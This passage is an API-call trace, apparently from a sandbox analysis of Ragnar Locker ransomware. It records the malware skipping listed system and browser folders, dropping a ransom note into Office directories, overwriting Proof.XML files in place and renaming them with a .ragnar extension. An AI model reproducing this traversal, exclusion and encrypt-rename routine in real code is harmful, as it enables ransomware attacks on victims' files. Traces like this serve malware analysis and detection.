returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Opera") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Opera Software") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Mozilla") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Mozilla Firefox") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="$Recycle.Bin") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="ProgramData") returned 1 [0063.401] lstrcmpiW (lpString1="Proof.es", lpString2="All Users") returned 1 [0063.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0063.401] lstrcpyW (in: lpString1=0x1eab90, lpString2="Proof.es" | out: lpString1="Proof.es") returned="Proof.es" [0063.401] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" [0063.401] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" [0063.401] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RGNR_FD7BD9FC.txt" [0063.401] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0063.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*" [0063.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.406] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.406] lstrcpyW (in: lpString1=0x1e9cb6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.406] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0063.406] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.406] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0063.406] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0063.406] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1 [0063.407] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.407] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0063.407] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0063.407] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.407] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.407] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.407] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.407] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML" [0063.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned=".XML" [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="autorun.inf") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="boot.ini") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="bootfont.bin") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="bootsect.bak") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr.efi") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgfw.efi") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="desktop.ini") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="iconcache.db") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="ntldr") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat.log") returned 1 [0063.407] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.ini") returned 1 [0063.408] lstrcmpiW (lpString1="Proof.XML", lpString2="thumbs.db") returned -1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.408] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0063.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0063.409] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1457) returned 1 [0063.409] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.409] GetProcessHeap () returned 0x580000 [0063.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.410] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.427] VirtualAlloc (lpAddress=0x0, dwSize=0x5b1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.428] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5b1, lpOverlapped=0x0) returned 1 [0063.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.428] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.428] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5b1, lpOverlapped=0x0) returned 1 [0063.428] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.428] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.428] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.428] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.428] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.429] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.429] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.429] GetProcessHeap () returned 0x580000 [0063.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.429] CloseHandle (hObject=0x104) returned 1 [0063.430] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" [0063.430] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.ragnar_FD7BD9FC" [0063.430] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.430] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.430] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0063.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RGNR_FD7BD9FC.txt") returned=".txt" [0063.430] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0063.430] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.430] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.430] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0063.430] lstrcmpiW (lpString1="Proof.fr", lpString2=".") returned 1 [0063.430] lstrcmpiW (lpString1="Proof.fr", lpString2="..") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Windows") returned -1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Windows.old") returned -1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Tor browser") returned -1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Internet Explorer") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Google") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Opera") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Opera Software") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Mozilla") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="Mozilla Firefox") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="$Recycle.Bin") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="ProgramData") returned 1 [0063.431] lstrcmpiW (lpString1="Proof.fr", lpString2="All Users") returned 1 [0063.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0063.431] lstrcpyW (in: lpString1=0x1eab90, lpString2="Proof.fr" | out: lpString1="Proof.fr") returned="Proof.fr" [0063.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" [0063.431] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" [0063.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RGNR_FD7BD9FC.txt" [0063.431] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0063.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*" [0063.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.434] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.434] lstrcpyW (in: lpString1=0x1e9cb6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780cb500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.434] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0063.434] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780cb500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.434] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0063.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0063.435] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1 [0063.435] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780cb500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 